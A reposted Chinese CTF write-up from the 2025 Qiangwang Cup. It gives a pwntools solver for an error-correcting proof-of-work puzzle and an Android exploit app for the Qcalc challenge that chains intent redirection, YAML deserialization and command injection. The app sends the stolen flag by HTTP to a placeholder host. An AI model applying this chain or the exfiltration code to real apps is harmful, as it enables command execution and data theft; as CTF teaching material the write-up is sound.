2025强网杯S9WP

admin 2025-12-29 01:05:45 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: Thisdocumentoutlineswriteupsforthe2025QiangwangCupCTFbyTeamPolaris,coveringPWN,Reverse,Web,andCryptocategories.KeyPWNsolutionsinvolveheapoverflows,FSOP,SROP,andarbitraryaddresswritestobypasssandboxes.ReversechallengesaddressobfuscatedVMsandMMXencodingusingIDA.WebexploitsincludeHTTPsmugglingforauthbypass,PHPdeserializationwithPhartricks,SpringSpELinjection,andJavaRCE.TheCryptosectionsolvesRSAfactorization.Thecontentprovidesdeeptechnicalanalysisandexploitscriptsforadvancedbinaryexploitationandwebvulnerabilities. 综合评分: 95 文章分类: CTF,二进制安全,WEB安全,漏洞分析


阅读一下代码发现是爆破sha256加一个纠错,爆破sha256就很简单了直接爆破前四位就可以了

1defsolve_pow(io):

2    line = recv_line_with(io,b"sha256(", timeout=8.0)

3    POW_RE = re.compile(

4rb"sha256\(XXXX\+([^)]+)\)\s*(?:\.hexdigest\(\))?\s*==\s*([0-9a-fA-F]{64})"

5)

6    m = POW_RE.search(line)

7ifnot m:

8        extra = io.recvuntil(b"XXXX:", timeout=3)

9        m = POW_RE.search(line + extra)

10    suffix = strip_quotes(m.group(1))

11    target = m.group(2).decode()

12print(suffix)

13print(target)

14    charset =(string.ascii_letters + string.digits).encode()

15    found =None

16for p in itertools.product(charset, repeat=4):

17        prefix =bytes(p)

18if hashlib.sha256(prefix + suffix).hexdigest()== target:

19            found = prefix

20break

21ifnot found:

22        log.failure(777)

![](https://mmbiz.qpic.cn/mmbiz_png/EEDM9NXhOXQkiaCArJ8N6RV4KEoGBaeKiarTb18IkuZrk5ItnXV7Z9Rhia7x0415dvmKgX8HkhhkWRia3mcKiblTBFw/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=76)

纠错有点像抖音上的那个谁是凶手,问他们问题会有固定的人数说谎,在这里就是我们需要8个数是0或1,我们可以问17个问题,但是会有两个问题的回答是假的,在这里如何去区分这8个数是0是1,可以传入的字符规则如下

1if word in['S0','S1','S2','S3','S4','S5','S6','S7']:

2                idx =int(word[1])

3                tokens.append(secrets[idx])

4elif word in['True','true']:

5                tokens.append(True)

6elif word in['False','false']:

7                tokens.append(False)

8elif word =='and':

9                tokens.append('and')

10elif word =='or':

11                tokens.append('or')

12elif word =='not':

13                tokens.append('not')

14elif word =='==':

15                tokens.append('==')

16else:

17raise ValueError(f"Invalid token: {word}")

然后对于对于如何纠错这里很容易就想到标准纠错码理论,对于这道题的Hamming 码,问题n=17 要猜的数k=8 最短距离d=5(可纠错数=(d-2)/2),所以在这里首先我们肯定要先询问这8个是是否是1或者0,我们输入 (Si == 1)就可以得到答案但是有可能说谎,八个问题问完我们还剩下9个问题,这时候就运用到syndrome ,这里面s = p xor(Ha),在这里面 p是远端的回复,Ha是我们根据返回推断出来的回复  ,如果相同则没说谎,不同则说谎,所以在这里我们只需要构建一个9x8的校验矩阵即可,对于该矩阵的构建要求如下:

每一列非零、两两不同;

任意两列 XOR 彼此不同,且不等于任何单列;

最小距离 d ≥ 5(没有 ≤4 列异或为 0 的线性相关)。

构造矩阵如下,输入问题如下( ( ( ( ( ( ( ( S0 == S2 ) == 0 ) == S4 ) == 0 ) == S5 ) == 0 ) == S6 ) == 0 ),矩阵中1为选择为0的位置

1S0S1S2S3S4S5S6S7

210101110

311100011

400010101

511010111

601110011

700011111

810001101

911111000

1001011110

然后即可纠2错,exp如下:

1import string

2import hashlib

3import itertools

4import re

5import time

6from pwn import*

7

8        HOST ="39.106.17.232"

9        PORT =34843

10        context.log_level ="info"

11

12defvar(i):returnf"S{i}"

13

14defwrap(expr:str)->str:

15return"( "+ expr +" )"

16defeq(a:str, b:str)->str:

17returnf"{a} == {b}"

18defxor2(a:str, b:str)->str:

19return wrap(eq(wrap(eq(a, b)),"0"))

20

21defxor_list(idxs):

22            expr = var(idxs[0])

23for i in idxs[1:]:

24                expr = xor2(expr, var(i))

25return expr

26

27

28        CHECK_ROWS =[

29[0,2,4,5,6],

30[0,1,2,6,7],

31[3,5,7],

32[0,1,3,5,6,7],

33[1,2,3,6,7],

34[3,4,5,6,7],

35[0,4,5,7],

36[0,1,2,3,4],

37[1,3,4,5,6],

38]

39

40        SINGLE_QUERIES =[wrap(eq(var(i),"1"))for i inrange(8)]

41        PARITY_QUERIES =[xor_list(row)for row in CHECK_ROWS]

42        ALL_QUERIES = SINGLE_QUERIES + PARITY_QUERIES

43

44defrecv_until(io, markers, timeout=10.0):

45            buf, end =b"", time.time()+ timeout

46while&nbsp;time.time()<&nbsp;end:

47&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; chunk&nbsp;=&nbsp;io.recv(timeout=0.5)

48&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buf&nbsp;+=&nbsp;chunk

49ifany(m&nbsp;in&nbsp;buf&nbsp;for&nbsp;m&nbsp;in&nbsp;markers):

50return&nbsp;buf

51return&nbsp;buf

52

53defrecv_line_with(io,&nbsp;needle:bytes,&nbsp;timeout=5.0):

54&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end&nbsp;=&nbsp;time.time()+&nbsp;timeout

55&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buf&nbsp;=b""

56while&nbsp;time.time()<&nbsp;end:

57&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; line&nbsp;=&nbsp;io.recvline(timeout=0.8)

58&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buf&nbsp;+=&nbsp;line

59if&nbsp;needle&nbsp;in&nbsp;line:

60return&nbsp;line

61

62

63defstrip_quotes(b:bytes)->bytes:

64&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; b&nbsp;=&nbsp;b.strip()

65if(b.startswith(b"'")and&nbsp;b.endswith(b"'"))or(b.startswith(b'"')and&nbsp;b.endswith(b'"')):

66return&nbsp;b[1:-1]

67return&nbsp;b

68

69defsolve_pow(io):

70&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; line&nbsp;=&nbsp;recv_line_with(io,b"sha256(",&nbsp;timeout=8.0)

71&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; POW_RE&nbsp;=&nbsp;re.compile(

72rb"sha256\(XXXX\+([^)]+)\)\s*(?:\.hexdigest\(\))?\s*==\s*([0-9a-fA-F]{64})"

73)

74&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; m&nbsp;=&nbsp;POW_RE.search(line)

75ifnot&nbsp;m:

76&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; extra&nbsp;=&nbsp;io.recvuntil(b"XXXX:",&nbsp;timeout=3)

77&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; m&nbsp;=&nbsp;POW_RE.search(line&nbsp;+&nbsp;extra)

78&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; suffix&nbsp;=&nbsp;strip_quotes(m.group(1))

79&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; target&nbsp;=&nbsp;m.group(2).decode()

80print(suffix)

81print(target)

82&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; charset&nbsp;=(string.ascii_letters&nbsp;+&nbsp;string.digits).encode()

83&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; found&nbsp;=None

84for&nbsp;p&nbsp;in&nbsp;itertools.product(charset,&nbsp;repeat=4):

85&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; prefix&nbsp;=bytes(p)

86if&nbsp;hashlib.sha256(prefix&nbsp;+&nbsp;suffix).hexdigest()==&nbsp;target:

87&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; found&nbsp;=&nbsp;prefix

88break

89ifnot&nbsp;found:

90&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; log.failure(777)

91

92&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; log.success(666)

93ifb"Give me XXXX"notin&nbsp;line:

94&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; recv_until(io,[b"XXXX"],&nbsp;timeout=3.0)

95&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; io.sendline(found)

96

97defsyndrome(a_bits,&nbsp;p_bits):

98&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s&nbsp;=[]

99for&nbsp;j,&nbsp;row&nbsp;inenumerate(CHECK_ROWS):

100&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pred&nbsp;=0

101for&nbsp;i&nbsp;in&nbsp;row:

102&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pred&nbsp;^=&nbsp;a_bits[i]

103&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s.append(p_bits[j]^&nbsp;pred)

104return&nbsp;s

105

106defcorrect_answers(bits17):

107&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; a,&nbsp;p&nbsp;=&nbsp;bits17[:8][:],&nbsp;bits17[8:][:]

108ifall(v&nbsp;==0for&nbsp;v&nbsp;in&nbsp;syndrome(a,&nbsp;p)):

109return&nbsp;a

110&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; n&nbsp;=17

111for&nbsp;i&nbsp;inrange(n):

112&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; a1,&nbsp;p1&nbsp;=&nbsp;a[:],&nbsp;p[:]

113(a1&nbsp;if&nbsp;i&nbsp;<8else&nbsp;p1)[i&nbsp;if&nbsp;i&nbsp;<8else&nbsp;i-8]^=1

114ifall(v&nbsp;==0for&nbsp;v&nbsp;in&nbsp;syndrome(a1,&nbsp;p1)):

115return&nbsp;a1

116

117for&nbsp;i&nbsp;inrange(n):

118for&nbsp;j&nbsp;inrange(i+1,&nbsp;n):

119&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; a2,&nbsp;p2&nbsp;=&nbsp;a[:],&nbsp;p[:]

120(a2&nbsp;if&nbsp;i&nbsp;<8else&nbsp;p2)[i&nbsp;if&nbsp;i&nbsp;<8else&nbsp;i-8]^=1

121(a2&nbsp;if&nbsp;j&nbsp;<8else&nbsp;p2)[j&nbsp;if&nbsp;j&nbsp;<8else&nbsp;j-8]^=1

122ifall(v&nbsp;==0for&nbsp;v&nbsp;in&nbsp;syndrome(a2,&nbsp;p2)):

123return&nbsp;a2

124

125

126defextract_bool_from_line(line:bytes)->int:

127&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s&nbsp;=&nbsp;line.decode(errors='ignore')

128if"True"in&nbsp;s:

129return1

130if"False"in&nbsp;s:

131return0

132if&nbsp;re.search(r'(^|[^0-9A-Za-z_])1([^0-9A-Za-z_]|$)',&nbsp;s):return1

133if&nbsp;re.search(r'(^|[^0-9A-Za-z_])0([^0-9A-Za-z_]|$)',&nbsp;s):return0

134

135

136defask_and_get(io,&nbsp;expr:str,&nbsp;is_last=False)->int:

137&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; recv_until(io,[b"Ask your question:"],&nbsp;timeout=10.0)

138&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; q&nbsp;=&nbsp;expr.replace('(','( ').replace(')',' )')

139&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; q&nbsp;=' '.join(q.split())

140&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; io.sendline(q.encode())

141&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; line&nbsp;=&nbsp;recv_line_with(io,b"Prisoner",&nbsp;timeout=5.0)

142&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; val&nbsp;=&nbsp;extract_bool_from_line(line)

143print(q)

144print(val)

145return&nbsp;val

146

147defdo_round(io,&nbsp;rindex):

148&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; log.info(f"=== Round&nbsp;{rindex}&nbsp;===")

149&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; answers&nbsp;=[]

150for&nbsp;i,&nbsp;q&nbsp;inenumerate(ALL_QUERIES):

151&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; answers.append(ask_and_get(io,&nbsp;q,&nbsp;is_last=(i&nbsp;==len(ALL_QUERIES)-1)))

152&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; truth8&nbsp;=&nbsp;correct_answers(answers)

153&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; out_line&nbsp;=" ".join(str(x)for&nbsp;x&nbsp;in&nbsp;truth8)

154&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; log.success(f"&nbsp;{out_line}")

155&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; io.sendline(out_line.encode())

156

157defmain():

158&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; io&nbsp;=&nbsp;remote(HOST,&nbsp;PORT)

159&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; solve_pow(io)

160for&nbsp;r&nbsp;inrange(1,26):

161&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; do_round(io,&nbsp;r)

162

163&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rest&nbsp;=&nbsp;io.recvall(timeout=2.0)

164print(rest)

165

166if&nbsp;__name__&nbsp;=="__main__":

167&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; main()

![](https://mmbiz.qpic.cn/mmbiz_png/EEDM9NXhOXQkiaCArJ8N6RV4KEoGBaeKiaYBb6gk8TJM7hOqd0wIjib1xH0N4ECMLBoUk59vFZxeu8rIYFfQL5PEQ/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=77)

Qcalc

processDeeplinkExpression 能够处理 intent 协议,并且 onNewIntent 没有主动调用 setIntent,所以当 Activity 复用时,可以复用上一次的 intent,从而导致 intent 重定向。BridgeActivity 存在 token 检测,但是这个 token 是用户可控的,所以可以直接绕过。BridgeActivity 最后会设置 fallback intent 的 data 为 content://com.qinquang.calc/history.yml,并且设置了 FLAG_GRANT_READ_URI_PERMISSION | FLAG_GRANT_WRITE_URI_PERMISSION

1publicclassBridgeActivityextendsActivity{

2privatestaticfinalStringBRIDGE_TOKEN="UWlhbmdDYWxjQ1RG";

3privatestaticfinalStringTAG="BridgeActivity";

4

5/* JADX DEBUG: Don't trust debug lines info. Repeating lines: [87=8] */

6@Override// android.app.Activity

7protectedvoidonCreate(Bundle&nbsp;savedInstanceState){

8Intent&nbsp;origIntent;

9super.onCreate(savedInstanceState);

10Log.d(TAG,"BridgeActivity started");

11try{

12try{

13&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; origIntent&nbsp;=(Intent)getIntent().getParcelableExtra("origIntent");

14}catch(Exception&nbsp;e){

15Log.e(TAG,"Error in BridgeActivity: "+&nbsp;e.getMessage());

16}

17if(origIntent&nbsp;==null){

18Log.e(TAG,"No original intent found");

19finish();

20return;

21}

22Log.d(TAG,"Original intent found: "+&nbsp;origIntent);

23if(!checkIntentFlags(origIntent)){

24Log.e(TAG,"Intent missing required flags");

25finish();

26return;

27}

28ContentValues&nbsp;values&nbsp;=(ContentValues)&nbsp;origIntent.getParcelableExtra("bridge_values");

29if(values&nbsp;!=null&&processContentValues(values)){

30String&nbsp;token&nbsp;=&nbsp;origIntent.getStringExtra("bridge_token");

31if(!validateToken(token)){

32Log.e(TAG,"Invalid token");

33finish();

34return;

35}

36File&nbsp;historyFile&nbsp;=newFile(getFilesDir(),HistoryManager.HISTORY_FILE_NAME);

37Uri&nbsp;historyUri&nbsp;=Uri.parse("content://com.qinquang.calc/"+&nbsp;historyFile.getName());

38&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; origIntent.setData(historyUri);

39&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; origIntent.addFlags(3);

40startActivity(origIntent);

41return;

42}

43Log.e(TAG,"Failed to process content values");

44finish();

45}finally{

46finish();

47}

48}

49}

50

而&nbsp;com.qinquang.calc Authority 对应的 contentProvider 如下:

1publicclassHistoryProviderextendsContentProvider{

2publicstaticfinalStringAUTHORITY="com.qinquang.calc";

3

4@Override// android.content.ContentProvider

5publicbooleanonCreate(){

6returntrue;

7}

8

9@Override// android.content.ContentProvider

10publicParcelFileDescriptoropenFile(Uri&nbsp;uri,String&nbsp;mode)throwsIOException{

11String&nbsp;fileName&nbsp;=&nbsp;uri.getLastPathSegment();

12if(fileName&nbsp;==null){

13thrownewFileNotFoundException("Invalid URI: "+&nbsp;uri);

14}

15File&nbsp;privateDir&nbsp;=getContext().getFilesDir();

16File&nbsp;targetFile&nbsp;=newFile(privateDir,&nbsp;fileName);

17try{

18String&nbsp;canonicalPath&nbsp;=&nbsp;targetFile.getCanonicalPath();

19if(!canonicalPath.startsWith(privateDir.getCanonicalPath())){

20thrownewSecurityException("Path Traversal attempt detected!");

21}

22int&nbsp;accessMode&nbsp;=ParcelFileDescriptor.parseMode(mode);

23returnParcelFileDescriptor.open(targetFile,&nbsp;accessMode);

24}catch(IOException&nbsp;e){

25thrownewFileNotFoundException("Failed to resolve canonical path");

26}

27}

28}

进行了路径穿越检测,但是我们可以读写&nbsp;history.yml 文件,而该文件在 HistoryManager 类的 loadHistory 函数中用于反序列化:

1publicList<String>loadHistory()throwsIOException{

2Yaml&nbsp;yaml&nbsp;=newYaml();

3try{// HISTORY_FILE_NAME = history.yml

4FileInputStream&nbsp;fis&nbsp;=this.context.openFileInput(HISTORY_FILE_NAME);

5try{

6InputStreamReader&nbsp;reader&nbsp;=newInputStreamReader(fis);

7try{

8Object&nbsp;result&nbsp;=&nbsp;yaml.load(reader);<=======&nbsp;反序列化

9......

而该函数会在&nbsp;HistoryActivity 中被调用:

1publicclassHistoryActivityextendsAppCompatActivity{

2@Override// androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity

3protectedvoidonCreate(Bundle&nbsp;savedInstanceState){

4super.onCreate(savedInstanceState);

5setContentView(R.layout.activity_history);

6ListView&nbsp;lvHistory&nbsp;=(ListView)findViewById(R.id.lv_history);

7finalHistoryManager&nbsp;historyManager&nbsp;=newHistoryManager(this);

8finalList<String>&nbsp;history&nbsp;=&nbsp;historyManager.loadHistory();

9......

10});

11}

12}

并且存在如下类,该类的构造函数存在命令注入漏洞:

1packagecom.qinquang.calc;

2

3importandroid.util.Log;

4importjava.io.IOException;

5

6/* loaded from: classes3.dex */

7publicfinalclassPingUtil{

8privatestaticfinalStringTAG="PingUtil";

9

10publicPingUtil(String&nbsp;address)throwsInterruptedException,IOException{

11try{

12Log.d(TAG,"PingUtil constructor called with: "+&nbsp;address);

13String&nbsp;pingCmd&nbsp;="ping -c 1 "+&nbsp;address;

14Process&nbsp;process&nbsp;=Runtime.getRuntime().exec(newString[]{"/system/bin/sh","-c",&nbsp;pingCmd});

15Log.d(TAG,"Command executed: "+&nbsp;pingCmd);

16&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; process.waitFor();

17}catch(Exception&nbsp;e){

18Log.e(TAG,"Error executing ping command",&nbsp;e);

19}

20}

21}

所以最后的利用思路如下:

  • 利用一次&nbsp;intent

    重定向获取 history.yml 文件的读写权限

  • 序列化&nbsp;PingUtil

    类到 history.yml 文件中

  • 在利用一次&nbsp;intent

    重定向到 HistoryActivity 反序列化 history.yml 从而执行任意命令

这里我选择执行&nbsp;cat /path/flag-*.txt > /path/files/hostory.yml 命令,将 flag 输出到 hostory.yml 文件中,然后读取该文件获取 flag 并将 flag 发送到远程服务器,最后的 app 代码如下:

1publicclassMainActivityextendsAppCompatActivity{

2

3privatestaticfinalStringBRIDGE_TOKEN="UWlhbmdDYWxjQ1RG";

4privateStringgetToken()throwsNoSuchAlgorithmException{

5

6try{

7Base64.decode(BRIDGE_TOKEN,0);

8String&nbsp;packageName&nbsp;="com.qinquang.calc";// getPackageName();

9MessageDigest&nbsp;digest&nbsp;=MessageDigest.getInstance("SHA-256");

10byte[]&nbsp;packageBytes&nbsp;=&nbsp;packageName.getBytes(StandardCharsets.UTF_8);

11byte[]&nbsp;hash&nbsp;=&nbsp;digest.digest(packageBytes);

12StringBuilder&nbsp;sb&nbsp;=newStringBuilder();

13for(int&nbsp;i&nbsp;=0;&nbsp;i&nbsp;<8;&nbsp;i++){

14&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sb.append(String.format("%02x",Byte.valueOf(hash[i])));

15}

16String&nbsp;expectedToken&nbsp;=&nbsp;sb.toString();

17return&nbsp;expectedToken;

18}catch(Exception&nbsp;e){

19Log.e("XiaozaYa","Token validation error: "+&nbsp;e.getMessage());

20return"";

21}

22}

23

24@Override

25protectedvoidonCreate(Bundle&nbsp;savedInstanceState){

26super.onCreate(savedInstanceState);

27

28setContentView(R.layout.main_layout);

29if(getIntent().getIntExtra("stage",0)==0){

30Log.d("XiaozaYa","stage_0");

31Intent&nbsp;intent&nbsp;=newIntent();

32//intent.setComponent(new ComponentName("com.qinquang.calc", "com.qinquang.calc.MainActivity"));

33&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; intent.setAction("android.intent.action.VIEW");

34&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; intent.addCategory("android.intent.category.DEFAULT");

35&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; intent.addCategory("android.intent.category.BROWSABLE");

36&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK|Intent.FLAG_ACTIVITY_CLEAR_TOP|Intent.FLAG_ACTIVITY_SINGLE_TOP);

37

38String&nbsp;header&nbsp;="qiangcalc://calculate?expression=";

39Intent&nbsp;origIntent&nbsp;=newIntent();

40&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; origIntent.setComponent(newComponentName("com.example.qwb_exp","com.example.qwb_exp.MainActivity"));

41&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; origIntent.putExtra("stage",1);

42&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; origIntent.setAction("android.intent.action.MAIN");

43try{

44&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; origIntent.putExtra("bridge_token",getToken());

45}catch(NoSuchAlgorithmException&nbsp;e){

46thrownewRuntimeException(e);

47}

48String&nbsp;expression&nbsp;=&nbsp;header&nbsp;+Uri.encode(origIntent.toUri(Intent.URI_INTENT_SCHEME));

49&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; intent.setData(Uri.parse(expression));

50startActivity(intent);

51

52try{

53Thread.sleep(1000);

54}catch(InterruptedException&nbsp;e){

55&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e.printStackTrace();

56}

57&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; expression&nbsp;=&nbsp;header&nbsp;+"0.0/0.0";

58&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; intent.setData(Uri.parse(expression));

59startActivity(intent);

60finish();

61}elseif(getIntent().getIntExtra("stage",0)==1){

62Log.d("XiaozaYa","stage_1");

63Log.d("XiaozaYa",getIntent().getData().toString());

64Uri&nbsp;targetUri&nbsp;=getIntent().getData();

65String&nbsp;shell&nbsp;=null;

66String&nbsp;yamlDocument&nbsp;="!!com.qinquang.calc.PingUtil\n &nbsp;[\"0.0.0.0;cat /data/data/com.qinquang.calc/flag-* > /data/data/com.qinquang.calc/files/history.yml\"]\n";;

67ContentResolver&nbsp;cr&nbsp;=getContentResolver();

68try(OutputStream&nbsp;os&nbsp;=&nbsp;cr.openOutputStream(targetUri)){

69if(os&nbsp;==null){

70Log.e("XiaozaYa","openOutputStream returned null for "+&nbsp;targetUri);

71return;

72}

73&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; os.write(yamlDocument.getBytes(StandardCharsets.UTF_8));

74&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; os.flush();

75Log.i("XiaozaYa","Wrote YAML to "+&nbsp;targetUri&nbsp;+":\n"+&nbsp;yamlDocument);

76}catch(Exception&nbsp;e){

77Log.e("XiaozaYa","Error writing YAML to content URI",&nbsp;e);

78}

79

80Intent&nbsp;intent&nbsp;=newIntent();

81//intent.setComponent(new ComponentName("com.qinquang.calc", "com.qinquang.calc.MainActivity"));

82&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; intent.setAction("android.intent.action.VIEW");

83&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; intent.addCategory("android.intent.category.DEFAULT");

84&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; intent.addCategory("android.intent.category.BROWSABLE");

85&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK|Intent.FLAG_ACTIVITY_CLEAR_TOP|Intent.FLAG_ACTIVITY_SINGLE_TOP);

86

87String&nbsp;header&nbsp;="qiangcalc://calculate?expression=";

88Intent&nbsp;origIntent&nbsp;=newIntent();

89&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; origIntent.setComponent(newComponentName("com.qinquang.calc","com.qinquang.calc.HistoryActivity"));

90&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; origIntent.putExtra("stage",1);

91&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; origIntent.setAction("android.intent.action.MAIN");

92try{

93&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; origIntent.putExtra("bridge_token",getToken());

94}catch(NoSuchAlgorithmException&nbsp;e){

95thrownewRuntimeException(e);

96}

97String&nbsp;expression&nbsp;=&nbsp;header&nbsp;+Uri.encode(origIntent.toUri(Intent.URI_INTENT_SCHEME));

98&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; intent.setData(Uri.parse(expression));

99startActivity(intent);

100

101try{

102Thread.sleep(1000);

103}catch(InterruptedException&nbsp;e){

104&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e.printStackTrace();

105}

106

107&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; expression&nbsp;=&nbsp;header&nbsp;+"0.0/0.0";

108&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; intent.setData(Uri.parse(expression));

109startActivity(intent);

110

111try{

112Thread.sleep(2000);

113}catch(InterruptedException&nbsp;e){

114&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e.printStackTrace();

115}

116

117try{

118InputStream&nbsp;i&nbsp;=getContentResolver().openInputStream(targetUri);

119byte[]&nbsp;bytes&nbsp;=newbyte[0];

120&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bytes&nbsp;=newbyte[i.available()];

121&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i.read(bytes);

122String&nbsp;flag&nbsp;=newString(bytes);

123Log.d("XiaozaYa",&nbsp;flag);

124newHttpGetAsyncTask().execute("http://xx.xx.xx.xx:xx/?flag="+newString(flag));

125}catch(Exception&nbsp;e){

126&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e.printStackTrace();

127}

128

129//finish();

130}

131}

132}

HttpGetAsyncTask 代码如下:

1packagecom.example.qwb_exp;

2

3importandroid.os.AsyncTask;

4importjava.io.BufferedReader;

5importjava.io.IOException;

6importjava.io.InputStreamReader;

7importjava.net.HttpURLConnection;

8importjava.net.URL;

9

10publicclassHttpGetAsyncTaskextendsAsyncTask<String,Void,String>{

11privateHttpGetCallback&nbsp;callback;

12

13publicHttpGetAsyncTask(){

14this.callback&nbsp;=&nbsp;callback;

15}

16

17@Override

18protectedStringdoInBackground(String...&nbsp;params){

19String&nbsp;url&nbsp;=&nbsp;params[0];

20String&nbsp;response&nbsp;=null;

21try{

22URL&nbsp;obj&nbsp;=newURL(url);

23HttpURLConnection&nbsp;con&nbsp;=(HttpURLConnection)&nbsp;obj.openConnection();

24&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; con.setRequestMethod("GET");

25

26int&nbsp;responseCode&nbsp;=&nbsp;con.getResponseCode();

27if(responseCode&nbsp;==HttpURLConnection.HTTP_OK){

28BufferedReader&nbsp;in&nbsp;=newBufferedReader(newInputStreamReader(con.getInputStream()));

29String&nbsp;inputLine;

30StringBuffer&nbsp;responseBuffer&nbsp;=newStringBuffer();

31

32while((inputLine&nbsp;=&nbsp;in.readLine())!=null){

